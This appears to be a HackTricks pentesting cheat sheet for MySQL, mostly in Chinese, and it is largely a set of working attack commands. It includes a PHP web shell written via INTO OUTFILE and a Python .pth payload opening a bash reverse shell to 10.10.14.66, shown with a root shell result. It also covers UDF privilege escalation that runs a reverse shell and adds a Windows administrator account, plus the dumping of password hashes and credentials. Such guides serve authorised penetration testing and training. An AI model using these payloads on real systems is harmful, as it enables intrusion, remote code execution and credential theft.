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3306 - Pentesting Mysql

{{#include ../banners/hacktricks-training.md}}

基本信息

MySQL 可以被描述为一个开源的 关系数据库管理系统 (RDBMS)，是免费的。它基于 结构化查询语言 (SQL)，使得数据库的管理和操作成为可能。

默认端口： 3306

3306/tcp open  mysql

连接

本地

mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

远程

mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost

External Enumeration

某些枚举操作需要有效的凭据

nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

暴力破解

写入任何二进制数据

CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

MySQL 命令

show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;

mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'

MySQL 权限枚举

#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';

您可以在文档中查看每个权限的含义：https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html

MySQL 文件 RCE

{{#ref}} ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md {{#endref}}

INTO OUTFILE → Python .pth RCE（特定于站点的配置钩子）

利用经典的 INTO OUTFILE 原语，可以在后续运行 Python 脚本的目标上获得 任意代码执行。

  1. 使用 INTO OUTFILE 在 site.py 自动加载的任何目录中放置自定义 .pth 文件（例如 .../lib/python3.10/site-packages/）。
  2. .pth 文件可以包含以 import 开头的 单行，后面跟随任意 Python 代码，每次解释器启动时都会执行。
  3. 当解释器被 CGI 脚本隐式执行时（例如 /cgi-bin/ml-draw.py，shebang 为 #!/bin/python），有效载荷将以与 web 服务器进程相同的权限执行（FortiWeb 以 root 身份运行它 → 完全的预认证 RCE）。

示例 .pth 有效载荷（单行，最终 SQL 有效载荷中不能包含空格，因此可能需要使用 hex/UNHEX() 或字符串连接）：

import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)

通过UNION查询构造文件的示例（用/**/替换空格字符，以绕过sscanf("%128s")空格过滤器，并保持总长度≤128字节）：

'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'

重要的限制和绕过：

  • INTO OUTFILE 不能覆盖 已存在的文件；选择一个新文件名。
  • 文件路径是 相对于 MySQL 的当前工作目录 解析的，因此在前面加上 ../../ 有助于缩短路径并绕过绝对路径限制。
  • 如果攻击者输入通过 %128s（或类似方式）提取，任何空格都会截断有效负载；使用 MySQL 注释序列 /**/ 或 /*!*/ 来替换空格。
  • 运行查询的 MySQL 用户需要 FILE 权限，但在许多设备（例如 FortiWeb）中，服务以 root 身份运行，几乎在任何地方都可以写入。

在删除 .pth 后，只需请求任何由 Python 解释器处理的 CGI 以获取代码执行：

GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>

Python 进程将自动导入恶意的 .pth 文件并执行 shell 负载。

# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)

MySQL 任意读取客户端文件

实际上，当你尝试 load data local into a table 文件的 内容 时，MySQL 或 MariaDB 服务器会要求 客户端读取 并发送内容。然后，如果你可以篡改一个 mysql 客户端以连接到你自己的 MySQL 服务器，你就可以读取任意文件。
请注意，这是使用的行为：

load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

（注意“local”这个词）
因为没有“local”，你可能会得到：

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

初始 PoC: https://github.com/allyshka/Rogue-MySql-Server
在这篇论文中，您可以看到攻击的完整描述，甚至如何将其扩展到 RCE: https://paper.seebug.org/1113/
在这里您可以找到攻击的概述: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

​

POST

Mysql 用户

如果 mysql 以 root 身份运行，那将非常有趣：

cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1

mysqld.cnf 的危险设置

在 MySQL 服务的配置中，使用了各种设置来定义其操作和安全措施：

  • user 设置用于指定 MySQL 服务将以哪个用户身份执行。
  • password 用于建立与 MySQL 用户相关联的密码。
  • admin_address 指定在管理网络接口上监听 TCP/IP 连接的 IP 地址。
  • debug 变量指示当前的调试配置，包括日志中的敏感信息。
  • sql_warnings 管理在出现警告时是否为单行 INSERT 语句生成信息字符串，日志中包含敏感数据。
  • 使用 secure_file_priv，数据导入和导出操作的范围受到限制，以增强安全性。

权限提升

# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh

特权提升通过库

如果 mysql 服务器以 root 身份运行（或其他更高权限的用户），您可以使其执行命令。为此，您需要使用 用户定义函数。要创建用户定义函数，您需要一个 库，该库用于运行 mysql 的操作系统。

可以在 sqlmap 和 metasploit 中找到要使用的恶意库，通过执行 locate "*lib_mysqludf_sys*"。.so 文件是 linux 库，.dll 是 Windows 库，选择您需要的。

如果您 没有 这些库，您可以 寻找它们，或下载这个 linux C 代码 并 在 linux 漏洞机器中编译：

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

现在您已经拥有库，请以特权用户（root？）身份登录Mysql，并按照以下步骤操作：

Linux

# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Windows

# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

从文件中提取 MySQL 凭据

在 /etc/mysql/debian.cnf 中，您可以找到用户 debian-sys-maint 的 明文密码。

cat /etc/mysql/debian.cnf

您可以使用这些凭据登录mysql数据库。

在文件： /var/lib/mysql/mysql/user.MYD 中，您可以找到所有MySQL用户的哈希值（您可以从数据库中的mysql.user提取的那些）_。

您可以通过以下方式提取它们：

grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

启用日志记录

您可以通过取消注释以下行在 /etc/mysql/my.cnf 中启用 mysql 查询的日志记录：

有用的文件

配置文件

  • windows *
  • config.ini
  • my.ini
  • windows\my.ini
  • winnt\my.ini
  • <InstDir>/mysql/data/
  • unix
  • my.cnf
  • /etc/my.cnf
  • /etc/mysql/my.cnf
  • /var/lib/mysql/my.cnf
  • ~/.my.cnf
  • /etc/my.cnf
  • 命令历史
  • ~/.mysql.history
  • 日志文件
  • connections.log
  • update.log
  • common.log

默认 MySQL 数据库/表

{{#tabs}} {{#tab name="information_schema"}} ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
CHECK_CONSTRAINTS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENABLED_ROLES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
KEY_CACHES
OPTIMIZER_TRACE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
SYSTEM_VARIABLES
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_LOCKS
INNODB_TRX
INNODB_SYS_DATAFILES
INNODB_FT_CONFIG
INNODB_SYS_VIRTUAL
INNODB_CMP
INNODB_FT_BEING_DELETED
INNODB_CMP_RESET
INNODB_CMP_PER_INDEX
INNODB_CMPMEM_RESET
INNODB_FT_DELETED
INNODB_BUFFER_PAGE_LRU
INNODB_LOCK_WAITS
INNODB_TEMP_TABLE_INFO
INNODB_SYS_INDEXES
INNODB_SYS_TABLES
INNODB_SYS_FIELDS
INNODB_CMP_PER_INDEX_RESET
INNODB_BUFFER_PAGE
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_CACHE
INNODB_SYS_TABLESPACES
INNODB_METRICS
INNODB_SYS_FOREIGN_COLS
INNODB_CMPMEM
INNODB_BUFFER_POOL_STATS
INNODB_SYS_COLUMNS
INNODB_SYS_FOREIGN
INNODB_SYS_TABLESTATS
GEOMETRY_COLUMNS
SPATIAL_REF_SYS
CLIENT_STATISTICS
INDEX_STATISTICS
USER_STATISTICS
INNODB_MUTEXES
TABLE_STATISTICS
INNODB_TABLESPACES_ENCRYPTION
user_variables
INNODB_TABLESPACES_SCRUBBING
INNODB_SYS_SEMAPHORE_WAITS {{#endtab}}

{{#tab name="mysql"}} columns_priv
column_stats
db
engine_cost
event
func
general_log
gtid_executed
gtid_slave_pos
help_category
help_keyword
help_relation
help_topic
host
index_stats
innodb_index_stats
innodb_table_stats
ndb_binlog_index
plugin
proc
procs_priv
proxies_priv
roles_mapping
server_cost
servers
slave_master_info
slave_relay_log_info
slave_worker_info
slow_log
tables_priv
table_stats
time_zone
time_zone_leap_second
time_zone_name
time_zone_transition
time_zone_transition_type
transaction_registry
user {{#endtab}}

{{#tab name="performance_schema"}} accounts
cond_instances
events_stages_current
events_stages_history
events_stages_history_long
events_stages_summary_by_account_by_event_name
events_stages_summary_by_host_by_event_name
events_stages_summary_by_thread_by_event_name
events_stages_summary_by_user_by_event_name
events_stages_summary_global_by_event_name
events_statements_current
events_statements_history
events_statements_history_long
events_statements_summary_by_account_by_event_name
events_statements_summary_by_digest
events_statements_summary_by_host_by_event_name
events_statements_summary_by_program
events_statements_summary_by_thread_by_event_name
events_statements_summary_by_user_by_event_name
events_statements_summary_global_by_event_name
events_transactions_current
events_transactions_history
events_transactions_history_long
events_transactions_summary_by_account_by_event_name
events_transactions_summary_by_host_by_event_name
events_transactions_summary_by_thread_by_event_name
events_transactions_summary_by_user_by_event_name
events_transactions_summary_global_by_event_name
events_waits_current
events_waits_history
events_waits_history_long
events_waits_summary_by_account_by_event_name
events_waits_summary_by_host_by_event_name
events_waits_summary_by_instance
events_waits_summary_by_thread_by_event_name
events_waits_summary_by_user_by_event_name
events_waits_summary_global_by_event_name
file_instances
file_summary_by_event_name
file_summary_by_instance
global_status
global_variables
host_cache
hosts
memory_summary_by_account_by_event_name
memory_summary_by_host_by_event_name
memory_summary_by_thread_by_event_name
memory_summary_by_user_by_event_name
memory_summary_global_by_event_name
metadata_locks
mutex_instances
objects_summary_global_by_type
performance_timers
prepared_statements_instances
replication_applier_configuration
replication_applier_status
replication_applier_status_by_coordinator
replication_applier_status_by_worker
replication_connection_configuration
replication_connection_status
replication_group_member_stats
replication_group_members
rwlock_instances
session_account_connect_attrs
session_connect_attrs
session_status
session_variables
setup_actors
setup_consumers
setup_instruments
setup_objects
setup_timers
socket_instances
socket_summary_by_event_name
socket_summary_by_instance
status_by_account
status_by_host
status_by_thread
status_by_user
table_handles
table_io_waits_summary_by_index_usage
table_io_waits_summary_by_table
table_lock_waits_summary_by_table
threads
user_variables_by_thread
users
variables_by_thread {{#endtab}}

{{#tab name="sys"}} host_summary
host_summary_by_file_io
host_summary_by_file_io_type
host_summary_by_stages
host_summary_by_statement_latency
host_summary_by_statement_type
innodb_buffer_stats_by_schema
innodb_buffer_stats_by_table
innodb_lock_waits
io_by_thread_by_latency
io_global_by_file_by_bytes
io_global_by_file_by_latency
io_global_by_wait_by_bytes
io_global_by_wait_by_latency
latest_file_io
memory_by_host_by_current_bytes
memory_by_thread_by_current_bytes
memory_by_user_by_current_bytes
memory_global_by_current_bytes
memory_global_total
metrics
processlist
ps_check_lost_instrumentation
schema_auto_increment_columns
schema_index_statistics
schema_object_overview
schema_redundant_indexes
schema_table_lock_waits
schema_table_statistics
schema_table_statistics_with_buffer
schema_tables_with_full_table_scans
schema_unused_indexes
session
session_ssl_status
statement_analysis
statements_with_errors_or_warnings
statements_with_full_table_scans
statements_with_runtimes_in_95th_percentile
statements_with_sorting
statements_with_temp_tables
sys_config
user_summary
user_summary_by_file_io
user_summary_by_file_io_type
user_summary_by_stages
user_summary_by_statement_latency
user_summary_by_statement_type
version
wait_classes_global_by_avg_latency
wait_classes_global_by_latency
waits_by_host_by_latency
waits_by_user_by_latency
waits_global_by_latency
x$host_summary
x$host_summary_by_file_io
x$host_summary_by_file_io_type
x$host_summary_by_stages
x$host_summary_by_statement_latency
x$host_summary_by_statement_type
x$innodb_buffer_stats_by_schema
x$innodb_buffer_stats_by_table
x$innodb_lock_waits
x$io_by_thread_by_latency
x$io_global_by_file_by_bytes
x$io_global_by_file_by_latency
x$io_global_by_wait_by_bytes
x$io_global_by_wait_by_latency
x$latest_file_io
x$memory_by_host_by_current_bytes
x$memory_by_thread_by_current_bytes
x$memory_by_user_by_current_bytes
x$memory_global_by_current_bytes
x$memory_global_total
x$processlist
x$ps_digest_95th_percentile_by_avg_us
x$ps_digest_avg_latency_distribution
x$ps_schema_table_statistics_io
x$schema_flattened_keys
x$schema_index_statistics
x$schema_table_lock_waits
x$schema_table_statistics
x$schema_table_statistics_with_buffer
x$schema_tables_with_full_table_scans
x$session
x$statement_analysis
x$statements_with_errors_or_warnings
x$statements_with_full_table_scans
x$statements_with_runtimes_in_95th_percentile
x$statements_with_sorting
x$statements_with_temp_tables
x$user_summary
x$user_summary_by_file_io
x$user_summary_by_file_io_type
x$user_summary_by_stages
x$user_summary_by_statement_latency
x$user_summary_by_statement_type
x$wait_classes_global_by_avg_latency
x$wait_classes_global_by_latency
x$waits_by_host_by_latency
x$waits_by_user_by_latency
x$waits_global_by_latency {{#endtab}} {{#endtabs}}

HackTricks 自动命令

Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html

Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost

Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'

参考

{{#include ../banners/hacktricks-training.md}}